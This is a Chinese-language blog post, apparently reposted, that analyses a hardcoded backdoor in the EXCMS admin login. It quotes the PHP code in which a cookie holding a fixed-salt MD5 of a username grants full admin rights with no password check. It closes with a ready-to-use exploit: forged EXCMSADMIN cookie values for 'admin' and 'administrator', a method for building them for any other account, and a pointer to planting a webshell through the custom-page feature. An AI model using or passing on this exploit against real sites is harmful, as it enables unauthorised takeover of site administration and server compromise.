EXCMS 0day漏洞精彩过程详解
近期在分析EXCMS后台登录机制时,发现了一个让人深思的“漏洞”。严格来说,这已不再是常规意义上的安全缺陷,更像是作者有意留下的后门。以下分析基于最新版本(未在其他版本逐一测试),整个过程足够精彩——因为它直接折射出中国软件行业里某些不该存在的悲哀。 先看后台登录文件 adminModulesAut
近期在分析EXCMS后台登录机制时,发现了一个让人深思的“漏洞”。严格来说,这已不再是常规意义上的安全缺陷,更像是作者有意留下的后门。以下分析基于最新版本(未在其他版本逐一测试),整个过程足够精彩——因为它直接折射出中国软件行业里某些不该存在的悲哀。
先看后台登录文件 adminModulesAuthIndex.php。代码开头是标准的环境检查和权限判断:
if ( defined( "EXCMS" ) ) //在admin/index.php里有了 下面文件都是包含运行方式的
{
}
if ( !defined( "EXCMS_ADMIN" ) )
{
exit( "Access Denied" );
}
$excms_action['title'] = "登录"; //标题
$forward = $_GET['forward']; //登录后转跳的地方
$verifycode = $EXCMS_CONFIG['login_verifycode']; //验证码。。。
if ( $_POST['loginType'] != 1 && !empty( $_COOKIE['EXCMSADMIN'] ) )
//迈下伏笔了!
{
$defaultBoxDisplay = "none";
$BoxDisplay = "";
$remeberInfo = explode( "&&", $_COOKIE['EXCMSADMIN'] );
//看到这里没? 神奇把?
$remeberAdmin = $remeberInfo[0];
$remeberPwd = $remeberInfo[1];
//账号密码获取了(COOKIES方式?) 看下去将会发生的事情很惊天地!
$pwdForever = strtoupper( md5( $remeberAdmin." love EXCMS forever" ) );
//这就是中国特色! 作者 你知道良心2个字什么写吗? 你知道什么叫道德吗?
$remeberPwd = $remeberPwd == $pwdForever ? true : false;
$loginInputDispay = $remeberPwd ? "none" : "";
$loginType = $remeberPwd ? 3 : 2;
}
else
{
$defaultBoxDisplay = "";
$BoxDisplay = "none";
$loginInputDispay = "none";
$loginType = 1;
}
//下面是输出登录界面的
这里已经埋下了第一个伏笔——从Cookie读取“记住密码”信息,并且直接使用一个固定的盐值 " love EXCMS forever" 进行MD5比较。更诡异的是,这一步并没有真正验证密码,而是仅仅比较Cookie中的哈希值是否等于这个固定组合。但这还不是最致命的地方。
接下来看验证登录文件 CheckLogin.php。经典对白,直接看代码:
if ( defined( "EXCMS" ) )//index.php有了
{
}
if ( !defined( "EXCMS_ADMIN" ) )
{
exit( "Access Denied" );
}
$excms_action['loadtpl'] = true;
$adminname = trim( $param['adminname'] );
$password = trim( $param['loginType'] == 2 ? $param['password1'] : $param['password'] );
$rememberPwd = $param['loginType'] == 2 ? $param['sa vePwd'] : $param['rememberPwd'];
$forward = $param['forward'];
$login_fail = true;
$error = "";
//以上东西不用理 $param都是POST方式的
if ( empty( $adminname ) )
//检测账户是否为空
{
$error = getlangbyname( "EMPTY_ADMINNAME" );
}
else if ( $param['loginType'] != 3 && empty( $password ) )
//检测这个什么东西 可能是步骤把 是否第3步和密码是否是空
{
$error = getlangbyname( "EMPTY_PASSWORD" );
}
else
{
if ( $param['loginType'] == 3 )
{
//以下内容绝非因失误做成的漏洞 以这个程序编写技术 没可能这样 可以找任何PHP高手鉴证
$remeberInfo = explode( "&&", $_COOKIE['EXCMSADMIN'] );
$remeberAdmin = $remeberInfo[0];
$remeberPwd = $remeberInfo[1];
//账号密码从COOKIES里获取!
$pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );
if ( $remeberPwd == $pwdForever )
//COOKIES里的账号加密过程 比ESPCMS还简单~~
{
include_once( LIB_PATH."system/Admin.class.php" );
$admin_obj = new Admin( );
$admin = $admin_obj->getByAdminname( $adminname );
//悲剧! 只验证了管理员账号 没有验证密码!!!
if ( $admin )
{
$admin['acl'] = $admin_obj->getAdminACL( $admin['adminid'] );
$_SESSION['admininfo'] = $admin;
//获得管理员权限了!!!!!!!!!
++$_SESSION['admininfo']['logintimes'];
$admin_obj->updateLastLogin( $admin['adminid'] );
include_once( LIB_PATH."auth/Auth.class.php" );
$auth = new Auth( );
$auth->checkMenu( true );
$excms_action['loadtpl'] = false;
$login_fail = false;
}
}
}
else
//跳过没有COKIES 下面就是真正的验证登录状态 请注意 是有验证密码的!
{
if ( $EXCMS['config']['login_verifycode'] )
{
$param['verifycode'] = trim( $param['verifycode'] );
if ( $param['verifycode'] == "" )
{
$error = getlangbyname( "EMPTY_VERIFYCODE" );
}
else
{
include_once( LIB_PATH."util/CheckCode.class.php" );
$checkcode = new CheckCode( );
if ( !$checkcode->check( $param['verifycode'] ) )
{
$error = getlangbyname( "VERIFYCODE_FAILED" );
}
}
}
if ( empty( $error ) )
{
include_once( LIB_PATH."auth/Auth.class.php" );
$auth = new Auth( );
$loginMsg = $auth->Login( $adminname, $password );
if ( $loginMsg['success'] )
{
$_SESSION['admininfo'] = $loginMsg['admininfo'];
++$_SESSION['admininfo']['logintimes'];
$auth->checkMenu( true );
if ( $rememberPwd == 1 )
{
$pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );
setcookie( "EXCMSADMIN", $adminname."&&".$pwdForever, time( ) + 2592000 );
}
else if ( $param['loginType'] != 2 && $param['rememberMe'] == 1 )
{
setcookie( "EXCMSADMIN", $adminname, time( ) + 2592000 );
}
$login_fail = false;
$excms_action['loadtpl'] = false;
}
else
{
$error = getlangbyname( $loginMsg['message'] );
}
}
}
}
if ( !$login_fail )
{
if ( empty( $forward ) || strpos( $forward, "index.php?M=Auth" ) )
{
header( "Location:index.php", true );
exit( );
}
header( "Location:".$forward, true );
exit( );
}
$errorCls = "f";
if ( $excms_action['loadtpl'] )
{
if ( !$error )
{
$error = getlangbyname( "LOGIN_FAILED" );
}
require( MODULES_PATH."Auth/Index.php" );
}
整个过程的关键在 loginType == 3 这个分支。当用户携带了正确的Cookie(即EXCMSADMIN),系统会直接从Cookie中提取用户名和密码哈希,然后用固定字符串生成哈希进行比较。如果匹配,则直接调用 getByAdminname 获取管理员对象——注意,这里根本没有验证密码。只要用户名存在,就赋予完整权限。这意味着,攻击者只要知道一个管理员用户名,并能伪造出相应的Cookie哈希,就能直接登录后台。而哈希的生成方式极其简单:strtoupper(md5(用户名 + " love EXCMS forever"))。
这根本不是漏洞,而是赤裸裸的后门。作者在正常的密码验证流程(loginType != 3 分支)中设置了完整的验证码、密码校验,而唯独在Cookie自动登录分支里留下了这个“快捷通道”。以该程序的开发技术,不可能犯这种低级错误——任何有经验的PHP开发者都能看出,这是有意为之。
最后给出利用代码(EXP)。只需设置Cookie:
EXCMSADMIN=admin%26858A611C5651AC436D4450CE23A858D1; EXCMSADMIN=administrator%263E0331271F1133F9613BD49E7C4FB0CD;
第一个对应 admin,第二个对应 administrator(常见默认管理员账号)。其他账号请自行构造,构造方法:
setcookie( "EXCMSADMIN", md5( 账号." love EXCMS forever" ) ); // 然后 strtoupper 一次,把字母都变成大写
修改Cookie后直接进入后台,然后可以通过自定义页面写入Webshell。整个过程不需要任何密码。
后语:这个所谓的“记住登录”Cookie机制,和正常的Session记住登录完全不是一回事。正常的记住登录会使用Session ID验证,而这里直接暴露了密码的哈希等效物。因此,这个漏洞100%是作者留下的后门。中国软件行业里,这类“自留后门”的现象早已不是秘密,但如此赤裸裸地暴露在代码中,依然令人震惊。
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
同类文章
零基础Python网络安全学习指南,包住宿实战培训
先抛出几个核心判断:网络安全人才缺口确实已经超过70万。这个数字不算夸张,各大招聘网站上安全岗位的薪资涨幅和需求增长都是实实在在的。但实话实说,行业真正缺的是能上手干活的人,不是只懂几个理论概念的新手。因此,一套扎实且成体系的训练方案,对于零基础转行或进阶提升就显得格外关键。 从零基础到能够独立应对
网络安全定义与核心概念详解
谈到网络安全,不同组织与标准体系对其定义虽有差异,但核心目标高度统一:保护信息与系统不受威胁侵害。以下梳理几种主流定义—— 什么是网络安全? 国际标准化组织(ISO)在ISO-74982文献中将安全定义为:最大程度地降低数据和资源遭受攻击的可能性。该定义虽简短,却精准点出安全的本质——即风险控制。
IIS 7.0网站漏洞利用与修复方法指南
先来聊聊当前网络安全领域比较流行的一种实战技巧——以PHP环境为例,详细讲解图片马合并与解析漏洞利用的具体操作步骤。整个过程并不复杂,但细节往往决定成败,大家跟着流程逐步操作即可。 合并一张PHP一句话图片马 首先,我们需要将一句话木马脚本与一张正常图片合并,生成一个看似无害的图片文件。合并方式主要
织梦管理系统后台查找功能教程
通过SQL注入漏洞获取织梦CMS(DedeCMS)管理员密码后,满怀期待地准备进入后台,却发现怎么也找不到登录入口——这种情况其实相当常见。别着急,这里有一个实用的技巧值得尝试。 直接在网站地址后面添加以下路径: include dialog select_media php?f=form1 mur
微软IE浏览器BrowseDialog类(ccrpbds6.dll)拒绝服务安全漏洞深度分析
BrowseDialog Class (ccrpbds6 dll) 导致 Internet Explorer 拒绝服务漏洞分析 该漏洞的PoC(概念验证代码)实现极为直接——触发浏览器崩溃的条件简单得令人意外。测试环境采用Windows XP Professional SP2(已安装全部补丁)并运行
- 热门数据榜
相关攻略
2026-07-25 22:28
2026-07-25 22:28
2026-07-25 22:28
2026-07-25 22:28
2026-07-25 22:10
2026-07-25 22:10
2026-07-25 22:10
2026-07-25 22:10
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程

